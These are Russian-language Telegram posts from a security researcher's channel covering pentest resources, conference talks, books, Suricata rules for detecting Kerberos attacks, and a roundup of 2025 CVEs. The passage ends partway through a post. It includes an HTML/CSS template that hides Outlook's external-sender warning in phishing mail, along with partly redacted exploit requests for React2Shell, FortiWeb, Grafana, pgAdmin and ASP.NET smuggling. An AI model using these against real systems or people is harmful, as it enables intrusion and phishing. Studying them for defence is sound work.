ℹ️
🧩Приветствую!
Этот канал — личный сборник обработанных знаний о мире безопасности в призме восприятия специалиста по анализу защищённости;

   └─$ whoami
   qwqoro


🧩Дополняющаяся навигация: ⬇️
✍️ #наработки
📖 #литература
📍 #мероприятия
⚙️ #инструменты
📌 #заметки
🔔 #события

[#offense]  [#defense]  [#enumeration]  [#web]  [#web3]  [#infrastructure]  [#ad]  [#mobile]   [#reverse]  [#malware]  [#forensics]  [#devsecops]  [#certification]  [#ai]  [#iot]


➡️НЕ используем ИИ для создания постов;
➡️Репостов / рекламы нет;

➡️Групп и ботов нет;
➡️Анонимная* форма обратной связи:
💬 forms.yandex.ru


   // Добро пожаловать в HaHacking!  🐇

🙃 #наработки #htb #web #infrastructure #offense

Было интересно решать, а потому
➡️Подробный отчёт на сложную машину Snoopy ⬇️

[Path Traversal] [DNS] [sudo] [Git] [CVE] [Arbitrary File Write] [ClamAV] [Arbitrary File Read] [XXE]

💻 HTB: Snoopy (Hard)
➡️ Часть 1: Энумерация & cbrown
➡️ Часть 2: sbrown & root


@HaHacking

🔮  #наработки #ai #web #infrastructure #offense

Вспоминая мои самые первые попытки выступать – доклады на конференции OFFZONE ➕ на мероприятии от сообщества Open Data Science, когда я постаралась простым языком рассказать про:

➖Виды атак на модели машинного обучения:
   ▪️Evasion attacks
   ▪️Model inversion attacks
   ▪️Model extraction attacks

➖Способы защиты от каждого вида атак*
➖Инструменты для автоматизации атак и анализа защищённости моделей МО


   🧩   qwqoro/ML-Talk

   🧩   ‟Атаки на ИИ, но проще”  (®️ / OFFZONE)

   🧩   *‟ИИ глазами хакера”  (👍 / Open Data Science)



🔮  #заметки

[ Захотелось упомянуть здесь репозитории, которые могут заинтересовать тех, кому тоже близки как тема ИБ, так и ИИ ]

⭐️ Компиляция материала о применении ИИ в сфере нападательной безопасности:

   🧩   jiep/offensive-ai-compilation
   🧩   Offensive AI Compilation


⭐️ Список ресурсов об обучении с подкреплением для решения задач кибербезопасности:

   🧩   Limmen/awesome-rl-for-cybersecurity


⭐️ Исходный код уникальных проектов, таких как, например:
▪️DeepExploit — автоматический пентест с использованием Metasploit;
▪️Recommender — автоматический подбор полезной нагрузки для эксплуатации Reflected XSS;

   🧩   13o-bbr-bbq/machine_learning_security


   @HaHacking  🐇

👤 #заметки #enumeration #web #infrastructure

Иногда в ходе аудитов приходится перебирать имена пользователей для сбора списка тех, что существуют в исследуемой системе;

➡️Неоспоримо чаще используются имена пользователей, основанные на реальных данных сотрудников: Фамилии, Имени и Отчестве (при наличии)

[ Потому рекомендую следующие словари: ]

🧩 sorokinpf/russian_names (🇷🇺 / RU)

🧩 curiv/russian_names (🇷🇺 / RU)

🧩 attackdebris/kerberos_enum_userlists (🇺🇸 / EN)

Все репозитории содержат списки распространённых имён, для удобства представленные в нескольких форматах ⬆️


А иногда, в попытке забраться в секции, которые просят пройти аутентификацию, перебираются и пароли; ⬇️

❗️ В таких случаях стоит полагаться как на обобщённые словари популярных паролей, так и на словари, содержание которых основано на региональной статистике; Примеры таких словарей для России:

🧩 sharsi1/russkiwlst

   🧩   WeakPass: 1, 2, 3, 4, 5, 6


➡️Успехов! 🐇

@HaHacking  🐇

🔗 #мероприятия #заметки #web #mobile #infrastructure #malware #reverse #offense #defense

⚡️ MOSCOW HACKING WEEK; Ретроспектива (ч.1)

Мне посчастливилось принять участие сразу в двух мероприятиях Moscow Hacking Week; Умудрилась, среди прочих энтузиастов сферы ИБ:

#️⃣ Насладиться докладами на первых рядах Talks
#️⃣ Пережить 2 недели➕финал priv8-ивента Hacks


🔗 Если не присутствовали очно, обязательно просмотрите записи докладов!😊:

   🧩   ‟Standoff Talks #4”

▪️ Продвинутые Client-Side атаки 🐘
▪️ Pivoting 🌚
▪️ Purple Teaming и обход СЗИ
▪️ Прошивки и CVE
▪️ WASM и защита облака
▪️ Малвари и криптография
▪️ Безопаснки VS юристы
▪️ BugBounty: Мобилки
▪️ BugBounty: Систематизация с помощью аномалий
▪️ Кибербитва: Алгоритм мониторинга инцидентов
▪️ Кибербитва: Инфраструктура команды Cult


   @HaHacking  🐇

🎄 #события #заметки #web #infrastructure #mobile #offense #defense #devsecops #malware #reverse #forensics #iot

➡️От лица HaHacking хочу поздравить каждого с наступившим Новым годом (дракона, кстати 💻)! 🔔⭐️

⭐️ Желаю срабатывания своих кавычек и несрабатывания чужих WAF'ов, побольше ивентов и инвайтов на ивенты, а также моральных сил, чтобы стойко переносить любой инцидент или статус отчёта! И, конечно, всего общечеловеческого: родных и близких рядом, искристой улыбки на лице и тепла на душе;


🎁 В честь праздника – символический подарок:


🧩 Бот @HaHacking2023bot


Собрала 150 статей 2023 года выпуска, которые оставили наиболее яркий след в моей памяти; Благо спектр любопытных для меня тем довольно широкий, так что каждый сможет найти на созданной мною карте уголок, соответствующий его интересам и уровню погружения 🚗

⬆️ Организовала для них небольшой город, распределила по категориям и кратко описала каждую статью в карточках внутри зданий ‼️

Читайте, вдоволь наевшись салатов, тепло вспоминайте уходящий год и радушно встречайте следующий. С Новым годом!


➡️Enjoy! 🐇

   @HaHacking  🐇🎄

🐶 #заметки #infrastructure

➡️Объёмный материал по Kerberos, призванный обобщить информацию, разбросанную по Интернету, для эффективного погружения в тему; Включает в себя как теорию, так и практические примеры: ⬇️


🧩 ‟Kerberos простыми словами” (@yurystrozhevsky)


▪️Аутентификация между доменами
▪️Основы работы Kerberos
▪️Передача сообщений Kerberos (UDP / TCP)
▪️Сервисы в Kerberos
▪️Имена принципалов
▪️Типы делегирования
▪️Передача AP-REQ (LDAP / HTTP / SMB / RPC) 🦈
▪️. . .

💻 [👩‍💻 S4Uwhoami]: Реализация whoami на S4U
💻 [👩‍💻 XKERB]: Реализация библиотеки XKERB
💻 [👩‍💻 tools.h]: Реализация klist
💻 [👩‍💻 KerberosAES]: Реализация алгоритма шифрования Kerberos с AES


// Время чтения: ~50 минут


@HaHacking  🐇

®️  #мероприятия #заметки #offense #defense #infrastructure #web #mobile #ai

➡️На канале OFFZONE в VK Видео выложили записи докладов с прошедшей конференции OFFZONE;  В этот раз список докладов, запавших мне в сердце, достаточно обширный, что не может не радовать😊 Рекомендую Вам к просмотру!

   🧩   Канал  ‟OFFZONE”



🎲  INFRASTRUCTURE

   ⭐️  ‟Pentest FreeIPA, или Углубляемся в зоопарк” (Михаил Сухов)

Внутреннее устройство FreeIPA и характерные уязвимости;

   ⭐️  ‟Вредоносное ПО и закрепление в системе: как злоумышленники взламывают Windows?”  (Жасулан Жусупов)

Нестандартные методы сохранения вредоносного ПО с помощью модификаций реестра и подмены DLL в Windows Internet Explorer, Win32 API Cryptography, Windows Troubleshooting, Microsoft Teams (исправлено в 2024 году) и Process Hacker 2 (исправлено в v3);

⚙️ HARDWARE

   ⭐️  ‟Угнать за 5 СМС: история об RCE в модемах Telit” (Александр Koзлов + Сергей Ануфриенко)

Уязвимости модемов Telit, позволяющие удаленно выполнить произвольный код, обход проверки цифровой подписи, активация Over The Air Provisioning (OTAP) и установка на модем собственного мидлета с привилегиями производителя;

   ⭐️  ‟MPoS'tor: компрометация мобильного PoS‑терминала”  (Георгий Хоруженко)

Анализ системы offline‑оплаты, метод удаленной компрометации мобильного терминала (посредством протокола Bluetooth) и перехват данных платежных карт пользователей;

💸  BUG BOUNTY

   ⭐️  ‟Больше никакой халявы! Интересные баги в e‑food‑приложениях”  (Егор Тахтаров)

Баги, найденные в программах вознаграждения у вендоров, основная сфера деятельности которых — e‑grocery;

   ⭐️  ‟Bug bounty: простые критические баги”  (Алексей Лямкин)

Как небольшие ошибки могут привести к критическим для бизнеса угрозам;

   ⭐️  ‟From source maps to secrets”  (@pentest_notes)

Разработчики все чаще стали оставлять открытые source maps в своих веб‑приложениях. Благодаря этому любой пользователь может просмотреть исходный код в его первозданном виде. Что же могло пойти не так?

💓  А ЕЩЁ

   ⭐️  [#MOBILE]  (@mobile_appsec_world)
‟Безопасность мобильных приложений: что нового в 2024 году?”

Наиболее значимые уязвимости и новости в мобильной безопасности: новые векторы атак, классные баги и ошибки, найденные в приложениях за последние полгода;

   ⭐️  [#AI]  (@hackthishit + Руслан Махмудов)
‟тRAGедия LLM. Эксплуатируем бэкдоры в базе знаний RAG”

Архитектура RAG в LLM, основные векторы атак через внедрение вредоносного документа и способ их оптимизации;

   ⭐️  ‟Pentester's tales”  (Михаил Дрягунов)

О звонках спамеров после посещения сайта, о расшифровке BitLocker с помощью логического анализатора, и о том, как получить RCE на кассе самообслуживания, просканировав пару штрихкодов;

      ...


💮  + HONORABLE MENTION

   ⭐️  ‟Гори, гори ясно, чтобы не погасло. Выгорание как тренд современной ИБ”  (🌚 @poxek + @bughunter_omsk)

   >💬 Я, признаться, не фанат разговоров "обо всём и ни о чём" и считаю, что техническая конференция должна состоять из технических докладов. Тем не менее, доклад Сергея и Артема, благодаря их настрою и выбранному формату открытого и искреннего диалога с залом, стал островком для отдыха в череде технохардкора, даже несмотря на то, что поднял не самую приятную тему для разговора. Ребята помогли задуматься о важной проблеме, не нагнетая и не уча, а просто поговорив по душам; Спасибо вам за то, что сделали это


И, конечно, спасибо организаторам и участникам OFFZONE за то, что он был таким!

➡️Приятного просмотра!

   @HaHacking  🐇

💎  #литература #заметки #infrastructure #offense #defense

➡️Если Вас интересует всё то, что относится к нижней половине модели OSI, у меня появился повод вспомнить про сети во всей их низкоуровневой красоте; ⚡️


📖 Мой хороший друг, высококлассный специалист @castercanal выпустил книгу, которая содержит 12 его работ для журнала @xakep_ru, дополняет серию материалов “Глазами хакера” и рассказывает о безопасности сетей;

     🧩   Caster:  “Сети глазами хакера”

[ ТЕМЫ ]:   Взлом DTP  /  Побег в другую сеть VLAN  /  Пентест канального уровня сети  /  Пентест Ethernet  /  Пентест сетей Cisco  /  Защита сетей от спуфинг-атак  /  Защита сетевого оборудования на примере Cisco IOS  /  Пентест MikroTik  /  Защита MikroTik  /  Использование провайдерских протоколов для пивотинга  /  Использование виртуального MikroTik для постэксплуатации Windows  /  Закаляем Kali Linux и не шумим в сети  /  Пентест сетей с наименьшим ущербом;

🔖 В честь этого прилагаю компиляцию полезных материалов по сетям, которая включает в себя ресурсы, созданные / рекомендованные автором книги для всех, кого интригуют сетевые технологии:  ⬇️

     🧩   casterbyte/NetworkNightmare — Mind map по атакам на сетевые протоколы;

Traffic Hijacking  /  MiTM Attacks  /  Dynamic IGP Routing  /  Configuration Exfiltration  /  DoS  /  NAC/802.1X Bypassing  /  GRE Pivoting  /  Cisco EEM for hiding user  /  Authentication Cracking  /  Information Gathering  /  Cisco Passwords  /  VLAN Bypassing;


     🧩   casterbyte/MITMonster — Cheat sheet по MITM-атакам;

▪️[L1]  Croc-in-the-middle  (@s0i37_channel)
▪️[L2]  ARP Cache Poisoning, LLMNR/NBT-NS/mDNS Poisoning, STP Root Spoofing, DHCPv4 Spoofing, DHCPv6 Spoofing;
▪️[L3]  Evil Twin against Dynamic Routing, FHRP Spoofing;


     🧩   “Курс молодого бойца”  (NetSkills)

[Cisco Packet Tracer]  Простейшая сеть  /  Коммутатор  /  Основы Cisco IOS  /  VLAN  /  STP  /  EtherChannel  /  L3 коммутатор  /  Маршрутизатор  /  Статическая маршрутизация  /  DHCP  /  NAT  /  OSPF  /  EIGRP  /  Access-List  /  Cisco ASA  /  DMZ  /  VPN  /  Syslog, NTP  /  AAA  /  TFTP  /  WiFi;


     🧩   Серия статей “СДСМ”  (LinkMeUp)

Коммутация  /  Статическая маршрутизация  /  STP  /  NAT и ACL  /  Динамическая маршрутизация  /  VPN  /  BGP и IP SLA  /  IBGP  /  Мультикаст  /  Базовый MPLS  /  MPLS L3VPN  /  MPLS L2VPN  /  MPLS EVPN  /  EVPN Multihoming  /  MPLS Traffic Engineering  /  Путь пакета  /  QoS  /  ECMP  /  Балансировка в датацентрах  /  Сети современных датацентров  /  Чипы и буферы;


     🧩   Материалы Сетевой академии Netacad  (Cisco)

Digital Essentials  /  Networking  /  Cybersecurity  /  Programmable Infrastructure  /  Packet Tracer;  [CCNA, CCNP] [#IoT]

➡️ Приятного чтения!

   @HaHacking  🐇

🎄  #события #заметки #web #infrastructure #offense #defense #devsecops #forensics #malware #ai

➡️И вновь от лица HaHacking поздравляю каждого из вас с уже наступившим Новым годом (кстати, змеи 🐍)! 🔔⭐️


⭐️ Оффенсивам — желаю с завидной лёгкостью отловить ещё больше уязвимостей вперёд коллег, захватить ещё больше Domain Admin'ов и добиться исполнения кода даже там, где кажется, что получится зарепортить один только CSRF!

Дефенсивам — надёжных паролей и непробиваемых настроек безопасности, получать столько баг-репортов, сколько нужно для совершенствования, и пусть ни один из них не заведётся в инцидент!

Всем нам — только положительных результатов от нашей работы, ещё больше поучительных дисклоузов, прорывных ресерчей, поводов встретиться и обсудить безопасность в новом году! И, конечно, всего общечеловеческого: радостных событий и запоминающихся моментов, сил и уверенности в завтрашнем дне, родных и близких рядом;


🎁  И вновь – символический подарок: ⬇️

   🧩  qwqoro.works/new-year-2024 ⚡️


🏠 Собрала ~2⁶ статей, которые были для меня любопытны и были выпущены в только что окончившемся 2024 году; Организовала для них небольшую галерею из 5 залов:

➖ WEB_2 [WEB + MOBILE]
➖ INFRA [REDTEAM + NETWORK]
➖ WEB_3
➖ THREATS [DEFENSE + TI]
➖ AI + IOT

✍️Кратко описала каждую статью в карточках под картинами ‼️

✍️ А сами картины были созданы при участии представителей ИБ сообщества: @Slonser, @renbou, @Caster, @wellenc_lex, @PwnAI, @mimicate 😊

Читайте, вдоволь наевшись салатов, тепло вспоминайте уходящий год и радушно встречайте следующий. С Новым годом!


➡️Enjoy! 🐇

   @HaHacking  🐇🤩

😊  #мероприятия #заметки #offense #web #web3 #infrastructure #ad #mobile #reverse

➡️Вчера в моём любимом городе, Санкт-Петербурге, прошёл долгожданный ZeroNights – посещала доклады, а потому насохраняла полезной информации оттуда:


🟢 [  WEB3 HONEYPOT'ы  ] — Н. Микрюков & В. Азерский:

▪️ ‟An analysis of a couple Ethereum honeypot contracts”
▪️ ‟The phenomenon of smart contract honeypots”
▪️ ‟Tricked by a honeypot contract or beaten by another hacker”

   🧩  thec00n/smart-contract-honeypots
   🧩  crytic/not-so-smart-contracts/.../honeypots*
            (*это уже от меня, упоминала ресурс раньше)

Примеры горшочков из доклада:

➖ Фейковый прокси:
newsletter.blockthreat.io/p/blockthreat-week-28-2025

➖ Ошибка эксплорера:
samczsun.com/paradigm-ctf-2021-swap

➖ Пробелы:
github.com/thec00n/smart-contract-honeypots/.../TestToken.sol

➖ Утёкший seed:
0xb7605ddc0327406a7ac225b9de87865e22ac5927

➖ Баг или фича:
0x8685631276cfcf17a973d92f6dc11645e5158c0c

➖ Кто больше?
0x5aa88d2901c68fda244f1d0584400368d2c8e739#code

➖ Загадка:
0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27

➖ Private Bank:
0x95d34980095380851902ccd9a1fb4c813c2cb639

🟢 [  УЯЗВИМОСТИ BOOTROM  ] — ValdikSS:

Рассмотрели уязвимости в цепочке загрузки SoC Kirin и Balong:

   🧩   github.com/forth32 – утилиты для работы с Balong; а вот тут PR от ValdikSS

▪️ hhj4ck.github.io
▪️ labs.taszk.io/articles
▪️ ‟Test Point Break: Analysis of Huawei’s OTA Fix For BootROM Vulnerabilities”


🟢 [  CODE INJECTION + SSTI  ] — В. Корчагин:

Было интересно послушать про применение идей, которые стали базовыми для тех же SQL инъекций, но редко рассматриваются из-под других углов: например, Error-based и Time-based подходы, но в рамках SSTI – для идентификации шаблонизатора и подбора эффективного способа эксплуатации;

   🧩   vladko312/SSTImap
   🧩   vladko312/extras


🟢 [  ОБФУСКАЦИЯ LDAP  ] — В. Ротанов:

Рассмотрели рабочие и нерабочие способы модификации LDAP запросов:

   🧩   MaLDAPtive/Invoke-Maldaptive
   🧩   macmod/ldapx

   🧩   ‟MaLDAPtive: Diving Deep Into LDAP Obfuscation, Deobfuscation & Detection”  (Black Hat @ USA, 2024)


⬜➖⬜➖⬜➖

Хочу сказать спасибо тем, кто подходил поздороваться или поболтать! Было приятно увидеть знакомые лица❤️

И отдельное спасибо девушкам – вы все солнышки, успехов вам огромных во всём, за что возьмётесь! ❤️

   @HaHacking  🐇

📬 #заметки #инструменты #web #infrastructure #ad #enumeration #offense

➡Объёмное руководство по пентесту Outlook Web Access (OWA) — однозначно пригодится всем, кто проводит работы по безопасности над корпоративной сетью;


   🧩   ‟OWA Pentest Guide” (@pentestnotes)


Здесь – собран большой спектр действительно нужной информации, включая готовые скрипты и инструменты, которая пригодится на всех этапах от разведки и сбора информации до экспулатации уязвимостей OWA / MS Exchange:


✉️ Outlook Web Access:

▪️Password Spraying
▪️Global Address List (GAL) / Offline Address Book (OAB) (swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces)
▪️NSPI (github.com/mhaskar/ExchangeFinder)
▪️ActiveSync (EAS) — github.com/snovvcrash/peas
▪️ZDI-CAN-22101 — SSRF в CreateAttachmentFromURI (trendmicro.com/.../ssrf-exchange-owa)
▪️OWA CAP Bypass
▪️CVE-2020-0688

✉️ MS Exchange:

▪️ProxyLogon
(CVE-2021-26855 – Pre-auth SSRF, CVE-2021-27065 – Post-auth Arbitrary-File-Write)

▪️ProxyOracle
(CVE-2021-31196 – The Padding Oracle, CVE-2021-31195 – XSS и обход HttpOnly)

▪️ProxyShell
(CVE-2021-34473 – Pre-auth Path Confusion leads to ACL Bypass, CVE-2021-34523 – Exchange PowerShell Backend Elevation-of-Privilege, CVE-2021-31207 – Post-auth Arbitrary-File-Write)

▪️ProxyRelay
(фронтенд Exchange, бекенд Exchange, Windows DCOM)

▪️PrivExchange
(NTLM relaying machine accounts, Проведение атаки с повышением привилегий, Relaying to LDAP and signing, Атака без использования учётных данных)

➡По полезным ресурсам и заметкам из руководства, хочется отметить следующие:

 
  🧩   Презентация ‟Социотехническое тестирование: цели, методы, инструменты” (Я. Бабин)

   🧩 busterb/msmailprobe — time-based атаки подбора логинов для Office 365 / MS Exchange;

   🧩 FaLLenSKiLL1/ru_names_wordlists — словари RU юзернеймов в разных форматах (+ дополнительные: тут, в нашем посте);

▪️ ФамилияИмя / ИмяФамилия
▪️ Фамилия.Имя / Имя.Фамилия
▪️ Фамилия-Имя / Имя-Фамилия
▪️ Фамилия_Имя / Имя_Фамилия


   🧩 Шаблоны Nuclei для автоматической идентификации и эксплуатации представленных уязвимостей:

▪ cyberheartmi9/Proxyshell-Scanner
▪ projectdiscovery/nuclei-templates/issues/5602
▪ projectdiscovery/nuclei-templates/.../CVE-2021-26855.yaml
▪ projectdiscovery/nuclei-templates/.../CVE-2021-34473.yaml
▪ projectdiscovery/nuclei-templates/issues/2395

➡️Ещё по теме: вспомнила неплохую технику сокрытия предупреждения о "ВНЕШНЕМ ОТПРАВИТЕЛЕ" для Office365, Outlook и OWA, которое встраивается в письма с других доменов:

   🧩   ‟External Email Warning Bypass”
   🧩 knavesec/570...7b59

Идея сводится к внедрению CSS стилей в HTML письма, чтобы покрасить в белый цвет всё, кроме определённых элементов:

<!DOCTYPE html>
<html>
<head>
   <title></title>
   <style type="text/css">
      body  {
         display: none !important;
         background:#FFFFFF !important;
      }
      .PAYLOAD {
         display: block !important;
      }
      ... {
         display: none !important;
         background:#FFFFFF !important;
      }
   </style>
</head>
<body>
   <p class="PAYLOAD">Hi! I hope this email finds you well! Please have a look at the attached file ASAP</p>
</body>
</html>

   @HaHacking  🐇 [✉]

🫥 #инструменты #заметки #defense #offense #devsecops #infrastructure #ad

➡️Говоря о защите инфраструктуры, непременно вспоминаются следующие работы @castercanal за этот год, все из которых основаны на глубоком анализе сетевого трафика / пакетов / байтовых последовательностей:


❤️   ACTIVE DIRECTORY

   🧩   ‟Seen It All” — атаки на Active Directory➕их обнаружение через Suricata IDS;

▪️ LLMNR / NBT-NS / mDNS Poisoning
▪️ IPv6 Takeover
▪️ AS-REP Roasting
▪️ Impacket / Rubeus


🌟   KERBEROS

   🧩   ‟Parallax” — атаки на протокол Kerberos➕их обнаружение через Suricata IDS;

▪️ Kerberos Enumeration

alert tcp any any -> any 88 (
msg:"[TCP] High Rate of Kerberos AS-REQ, Possible Enumeration";
content:"|a1 03 02 01 05 a2 03 02 01 0a|";
content:"|6b 72 62 74 67 74|";
fast_pattern;
threshold:type limit, track by_src, count 5, seconds 10;
sid:100001;
rev:1;
)


▪️ Kerberos Bruteforce

alert tcp any any -> any 88 (
msg:"[TCP] High Rate of Kerberos AS-REQ with PA-DATA, Possible Bruteforce or Spray Attack";
content:"|a1 03 02 01 05 a2 03 02 01 0a|";
content:"|a1 03 02 01 02|";
content:"|6b 72 62 74 67 74|";
fast_pattern;
threshold:type limit, track by_src, count 5, seconds 10;
sid:100004;
rev:1;
)


▪️ Kerberoasting
#️⃣ Поиск подходящих пользователей:

alert tcp any any -> any 389 (
msg:"Searching Kerberoastable users via LDAP - Possible Kerberoasting";
flow:to_server, stateless;
content:"|a3 18 04 0e 6f 62 6a 65 63 74 43 61 74 65 67 6f 72 79 04 06 70 65 72 73 6f 6e|";
content:"|87 14 73 65 72 76 69 63 65 50 72 69 6e 63 69 70 61 6c 4e 61 6d 65|";
content:"|a2 31 a9 2f 81 16 31 2e 32 2e 38 34 30 2e 31 31 33 35 35 36 2e 31 2e 34 2e 38 30 33 82 12 75 73 65 72 41 63 63 6f 75 6e 74 43 6f 6e 74 72 6f 6c 83 01 32|";
fast_pattern;
sid:100004;
rev:1;
)

#️⃣ Для отлова подозрительных TGS-REQ:

alert tcp any any -> any 88 (
msg:"[TCP] Suspicious Kerberos TGS-REQ — stage 1";
flow:to_server;
content:"|a1 03 02 01 05 a2 03 02 01 0c|";
fast_pattern;
content:"|6b 72 62 74 67 74|";
content:"|a0 07 03 05 00 40 81 00 10|";
content:"|a0 03 02 01 17|";
content:"|30 23 a0 04 02 02 ff 80|";
flowbits:set,kerb.tgsreq.rc4;
noalert;
sid:100006;
rev:1;
)

#️⃣ Для отлова ответа TGS-REQ:

alert tcp any 88 -> any any (
msg:"[TCP] Kerberos TGS-REP after SPN request — Possible Kerberoasting";
flow:to_client;
content:"|a0 03 02 01 05 a1 03 02 01 0d|";
fast_pattern;
content:"|a0 03 02 01 17|";
flowbits:isset,kerb.tgsreq.rc4;
flowbits:unset,kerb.tgsreq.rc4;
sid:100008;
rev:1;
)


▪️ AS-REP Roasting

alert tcp any any -> any 88 (
msg:"Suspicious AS-REQ Packet, Possible AS-REP Roasting";
flow:to_server, stateless;
content:"|a0 07 03 05 00 50 80 00 00 a1|";
content:"|6b 72 62 74 67 74|";
fast_pattern;
content:!"|a1 03 02 01 02|";
sid:100009;
rev:1;
)

❤️ БЕЗОПАСНОСТЬ IPv6

   🧩   caster0x00/Ibex
   🧩   ‟Legless”  — атаки на IPv6:  подробный разбор и удобная эксплуатация через интерактивный тулкит Ibex➕способы обнаружения таких атак;

▪️ Сетевые настройки ядра
▪️ Spoofing роутера и DNS через RA Spoofing
▪️ RDNSS Spoofing
▪️ DHCPv6 Spoofing
▪️ Атаки через mitm6

#web

💬 Если посмотреть из-под другого угла: когда-то поднимался вопрос корректности реализации парсинга IPv6 в разных ЯП + вытекающих уязвимостей — подробнее в статье @slonser_notes:

   🧩  ‟Exploring IPv6 Zone Identifier”

▪️ Обход белого списка поддоменов
▪️ Инъекция с обходом формата URL
▪️ Инъекция произвольных команд
▪️ Инъекция CRLF-конструкций
▪️ Внедрение XSS пейлоада
▪️ Обход чёрного списка IP адресов
▪️ Использование особенностей для SSRF
▪️ . . .

   @HaHacking  🐇 [📼]

📚 #литература

➡️НЕ рейтинг, но обзор! Книг за этот год: от образовательных до развлекательных, но обязательно – по теме ИБ;


📖 «Windows глазами хакера»
📧 М. Жмайло, @RedTeambro❌@xakep_ru
ℹ️ #infrastructure #ad #offense
🔖 Маркетплейсы / "БХВ"

Возможно, прозвучит громко, но всё же — это та книжка, что должна стоять на полке у каждого внутрянщика; Аж ± 460 страниц чистой техники с упором на "нападение": необходимая теоретическая база для понимания атак➕практическая демонстрация атак на компоненты системы.

Из оглавления:

▪️ Атаки на доверенные отношения доменов и лесов AD
▪️ Эксплуатация небезопасных групповых политик
▪️ Пентест Read-only Domain Controller'ов

▪️ Привилегии в Windows
▪️ Извлечение учётных данных➕кража сессий
▪️ Обход UAC

▪️ Методы дампа тикетов➕Ручная инъекция тикетов
▪️ WinAPI для пентестеров➕Обфускация вызовов
▪️ Обращение к нативному коду➕Варианты исполнения стороннего кода

▪️ ...

📖 «Хакерская самооборона»
📧 А. Жуков, @s0i37_channel
ℹ️ #infrastructure #ad #defense
🔖 Маркетплейсы / "БХВ"

[Совсем свежо! Потому лично не ознакомлена, но судя по предыдущим работам автора — в качестве сомневаться не приходится]

Техническая книга о защите инфраструктуры от атак, внутри которой 2 части (Внешний нарушитель + Внутренний нарушитель) & 2 стороны (Хакер / Абстрактная компания): обнаружение и анализ атакующего, противодействие хакерской разведке, выявление атак и противостояние им.

Из оглавления:

▪️ Атаки из Интернета:
что ищет хакер? где он? какие у него ресурсы? как противодействовать?

▪️ Атаки в радиоэфире:
обнаружение + противодействие (деаутентификации, PMKID, брутфорсу, Evil Twin, GTC downgrade, KARMA)

▪️ Атаки в локальной сети:
обнаружение снифферов, сканирования, перехвата трафика, вредоносных серверов, NetBIOS спуфинга, NTLM-relay + размещаем honeypot'ы

▪️ Атаки в AD:
обнаружение атак на пользователей / хосты / групповые политики / группы / ...

📖 «На⭐️уй безопасность»
📧 George K., @ever_secure
ℹ #devsecops #defense
🔖 eversecure.ru / бета-версия

С юмором о наболевшем, но с пользой для проектов: обзор проблем безопасности в рамках жизненного цикла разработки ПО с точки зрения того, кому придётся с этими проблемами разбираться;

Здесь про: организацию процессов, инциденты, харденинг инфраструктуры, код-ревью и написание тестов, буковки QA, SAST, SCA, OSA, ...


📖 «Вирьё моё!»
📧 Гайка Митич & Бойко Двачич
ℹ️ #malware #forensics #defense
🔖 Маркетплейсы / "Читай-город" / "Эксмо"

Реальные истории, громкие инциденты и вредоносные кампании, но красивыми словами, и внезапно со стороны "защиты" – вирусных аналитиков;

Здесь [популярно] про: эволюцию вредоносного ПО, инфицирование компьютерными червями Stuxnet КИИ + Carbanak банков, шпионское ПО DarkHotel, троян Turla / Uroboros, операцию "Триангуляция", ...


📖 «Хакеры[.]RU»
📧 В. Холмогоров, @xakep_ru
ℹ️ #malware #offense
🔖 xakep.shop / author.today

Художественное произведение на случай, если захочется разгрузить голову от взрослых задач и взамен ощутить себя подростком в 00-х: та самая романтика "андерграунда", форумов со всем им причитающимся и, конечно, трудностями юности – куда ж без этого?

Займёт пару вечеров, но сделает тепло на душе!


➡Приятного чтения!  👍

   @HaHacking  🐇 [📖]

⚠️ #заметки #события #offense #infrastructure #web

➡️НЕ рейтинг (боже упаси), но обзор! Самые громкие CVE за год: те, что заработали высокий CVSS, и те, что просто вызвали эмоции;


🐰 React2Shell / React Server Unauth RCE ⚡️
ℹ️ CVE-2025-55182 / CVE-2025-66478 / ...

В связи с небезопасной десериализацей: запрос со специально сформированным объектом➡️Unauth RCE на тысячах хостов;

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"██████;",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

▪️ Пост @HaHacking с разбором!
▪️ react2shell.com
▪️ github.com/msanft/CVE-2025-55182
▪️ Оригинальный PoC от автора
➕ Очень детальный анализ


🐰 FortiWeb: RCE Chain
ℹ️ CVE-2025-64446➕CVE-2025-58034

CVE-2025-64446 — Path Traversal в Apache➕CGI Auth Bypass➡️Unauth создание административных аккаунтов;

POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi
CGIINFO: <CGIINFO>

{"data": {██████}}

CVE-2025-58034 — Auth исполнение произвольных системных команд; Вместе с CVE-2025-64446➡️цепочка для RCE;

▪️ Статья-обзор, CVE-2025-64446
▪️ Статья-обзор, CVE-2025-58034


🐰 Grafana PrivEsc
ℹ️ CVE-2025-41115

Из-за некорректного маппинга идентификаторов в SCIM возможна подмена externalId / создание пользователя с externalId=1➡️коллизия, вход под любым пользователем / администратором;

POST /api/scim/v2/Users

{"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "externalId": ██████, ...}

🐰 pgAdmin RCE
ℹ️ CVE-2025-2945, CVE-2025-13780

CVE-2025-2945 — для обработки запросов в модулях Query Tool / Cloud Deployment использовался eval()➡️Auth RCE: py0zz1.tistory.com/.../Remote-Code-Execution-Vulnerability-in-pgAdmin-CVE-2025-2945;

POST /sqleditor/query_tool/download/<ID>
{"query_commited": "██████"}

POST /cloud/deploy
{"high_availability": "██████"}

CVE-2025-13780 — Regex для блокировки опасных метакоманд в PLAIN-дампах не учитывал некоторые последовательности (\r, \x0B, \x0C, \xEF\xBB\xBF, ...)➡️RCE;

▪️ Статья-обзор
▪️ github.com/zeropwn/pgadmin4-9.10-CVE-2025-13780


🐰 ASP[.]NET Core HTTP Request Smuggling
ℹ️ CVE-2025-55315

Всё по заветам ‟HTTP/1.1 must die” от James Kettle — благодаря особенностям протокола + недостаточной фильтрации➡️HTTP Request Smuggling;

Например, вот этот запрос вернёт xy:

POST /Echo HTTP/1.1
Host: <HOSTNAME>
Transfer-Encoding: chunked
Content-Type: text/plain

2;\n
xx\r\n
xy\r\n
0\r\n
\r\n

▪️ Статья-обзор от автора
➕ Очень детальный анализ


🐰 RediShell / Redis Lua Auth RCE
ℹ️ CVE-2025-49844

13 лет томилась в кодовой базе, чтобы в этом году выстрелить: из-за особенностей работы со стеком, обработка специального скрипта может привести к Use-After-Free➡️выход из песочницы Lua, RCE:

